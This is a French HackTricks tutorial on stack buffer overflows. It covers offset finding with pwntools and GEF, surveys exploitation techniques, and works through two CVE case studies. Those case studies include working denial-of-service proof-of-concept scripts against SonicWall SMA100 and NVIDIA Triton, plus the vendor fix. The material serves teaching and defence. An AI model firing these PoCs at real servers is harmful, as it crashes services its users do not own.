Stack Overflow

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu'est-ce qu'un Stack Overflow

Un stack overflow est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la stack que ce qui lui a été alloué. Ces données excédentaires vont écraser des zones mémoire adjacentes, entraßnant la corruption de données valides, la perturbation du flux de contrÎle et potentiellement l'exécution de code malveillant. Ce problÚme survient souvent à cause de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des données en entrée.

Le problÚme principal de cet écrasement est que le pointeur d'instruction sauvegardé (EIP/RIP) et le pointeur de base sauvegardé (EBP/RBP) permettant de revenir à la fonction précédente sont stockés sur la stack. Par conséquent, un attaquant pourra les écraser et contrÎler le flux d'exécution du programme.

La vulnérabilité survient généralement parce qu'une fonction copie dans la stack plus d'octets que la quantité qui lui a été allouée, pouvant ainsi écraser d'autres parties de la stack.

Quelques fonctions couramment vulnĂ©rables sont : strcpy, strcat, sprintf, gets... De plus, des fonctions comme fgets, read et memcpy qui prennent un argument de longueur, peuvent ĂȘtre utilisĂ©es de maniĂšre vulnĂ©rable si la longueur spĂ©cifiĂ©e est supĂ©rieure Ă  celle allouĂ©e.

Par exemple, les fonctions suivantes pourraient ĂȘtre vulnĂ©rables:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Trouver les offsets de Stack Overflow

La méthode la plus courante pour détecter des Stack overflows est d'envoyer une trÚs grande entrée de A (par ex. python3 -c 'print("A"*1000)') et d'attendre un Segmentation Fault indiquant qu'on a tenté d'accéder à l'adresse 0x41414141.

De plus, une fois que vous avez constaté qu'il existe une vulnérabilité de Stack Overflow, vous devrez trouver l'offset nécessaire pour pouvoir écraser l'adresse de retour ; pour cela on utilise généralement une De Bruijn sequence. Laquelle, pour un alphabet donné de taille k et des sous-séquences de longueur n, est une séquence cyclique dans laquelle chaque sous-séquence possible de longueur n apparaßt exactement une fois comme sous-séquence contiguë.

Ainsi, au lieu de devoir déterminer manuellement quel offset permet de contrÎler l'EIP, il est possible d'utiliser comme padding l'une de ces séquences puis de trouver l'offset des octets qui ont fini par l'écraser.

On peut utiliser pwntools pour cela:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ou GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploitation des Stack Overflows

Lors d'un overflow (si la taille de l'overflow est suffisante), vous pourrez Ă©craser les valeurs des variables locales sur la stack jusqu'Ă  atteindre les EBP/RBP et EIP/RIP sauvegardĂ©s (ou mĂȘme plus).
Le moyen le plus courant d'exploiter ce type de vulnĂ©rabilitĂ© est de modifier l'adresse de retour afin que, lorsque la fonction se termine, le control flow soit redirigĂ© lĂ  oĂč l'utilisateur l'a spĂ©cifiĂ© dans ce pointeur.

Cependant, dans d'autres scénarios, écraser certaines valeurs de variables dans la stack peut suffire pour l'exploitation (comme dans des challenges CTF faciles).

Ret2win

Dans ce type de challenges CTF, il y a une fonction dans le binaire qui n'est jamais appelée et que vous devez appeler pour gagner. Pour ces challenges, il suffit de trouver l'offset pour écraser l'adresse de retour et trouver l'adresse de la fonction à appeler (généralement ASLR est désactivé) de sorte que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :

Ret2win

Stack Shellcode

Dans ce scénario, l'attaquant peut placer un shellcode dans la stack et abuser du EIP/RIP contrÎlé pour sauter vers le shellcode et exécuter du code arbitraire :

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Sur Windows 32-bit, un overflow peut Ă©craser la chaĂźne Structured Exception Handler (SEH) au lieu de l'adresse de retour sauvegardĂ©e. L'exploitation remplace typiquement le pointeur SEH par un gadget POP POP RET et utilise le champ nSEH de 4 octets pour un court saut permettant de revenir dans le grand buffer oĂč rĂ©side le shellcode. Un schĂ©ma courant est un court jmp dans nSEH qui atterrit sur un near jmp de 5 octets placĂ© juste avant nSEH pour sauter de centaines d'octets vers le dĂ©but du payload.

Windows Seh Overflow

ROP & Ret2... techniques

Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : No executable stack (NX). Elle permet aussi de réaliser plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :

ROP & JOP

Heap Overflows

Un overflow ne se produit pas toujours dans la stack, il peut aussi se produire dans le heap, par exemple :

Heap Overflow

Types de protections

Il existe plusieurs protections cherchant Ă  empĂȘcher l'exploitation des vulnĂ©rabilitĂ©s, consultez-les dans :

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Une bonne dĂ©monstration de pourquoi sscanf ne devrait jamais ĂȘtre considĂ©rĂ© comme fiable pour analyser des entrĂ©es non fiables est apparue en 2025 dans l'appliance SSL-VPN SMA100 de SonicWall.
La routine vulnérable dans /usr/src/EasyAccess/bin/httpd tente d'extraire la version et l'endpoint de toute URI commençant par /__api__/ :

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La premiÚre conversion (%2s) stocke en toute sécurité deux octets dans version (par ex. "v1").
  2. La seconde conversion (%s) n'a pas de spécificateur de longueur, donc sscanf continuera de copier jusqu'au premier octet NUL.
  3. Parce que endpoint est situĂ© sur la stack et est 0x800 bytes long, fournir un chemin plus long que 0x800 bytes corrompt tout ce qui se trouve aprĂšs le buffer ‑ y compris le stack canary et le saved return address.

Une preuve de concept d'une seule ligne suffit à déclencher le crash avant l'authentification :

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

MĂȘme si les stack canaries arrĂȘtent le processus, un attaquant obtient toujours une primitive Denial-of-Service (et, avec des leaks d'information supplĂ©mentaires, Ă©ventuellement code-execution). La leçon est simple :

  • Fournir toujours une largeur de champ maximale (par ex. %511s).
  • PrivilĂ©gier des alternatives plus sĂ»res telles que snprintf/strncpy_s.

Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≀ v25.06) contenait plusieurs stack-based overflows accessibles via son HTTP API. Le motif vulnĂ©rable apparaissait Ă  plusieurs reprises dans http_server.cc et sagemaker_server.cc :

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) renvoie le nombre de segments de tampon internes qui composent le corps de la requĂȘte HTTP courante.
  2. Chaque segment provoque l'allocation d'un evbuffer_iovec de 16-byte sur la stack via alloca() – sans aucune limite supĂ©rieure.
  3. En abusant de HTTP chunked transfer-encoding, un client peut forcer la requĂȘte Ă  ĂȘtre dĂ©coupĂ©e en des centaines de milliers de 6-byte chunks ("1\r\nA\r\n"). Cela fait que n croĂźt sans limite jusqu'Ă  Ă©puisement de la stack.

Preuve de concept (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Une requĂȘte d'environ 3 Mo suffit Ă  Ă©craser l'adresse de retour sauvegardĂ©e et Ă  faire planter le daemon sur une build par dĂ©faut.

Correctif & atténuation

La version 25.07 remplace l'allocation non sûre sur la pile par un heap-backed std::vector et gÚre gracieusement std::bad_alloc :

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Leçons apprises :

  • Ne jamais appeler alloca() avec des tailles contrĂŽlĂ©es par l'attaquant.
  • Les requĂȘtes chunked peuvent modifier radicalement la forme des buffers cĂŽtĂ© serveur.
  • Validez / limitez toute valeur dĂ©rivĂ©e de l'entrĂ©e client avant de l'utiliser dans des allocations mĂ©moire.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks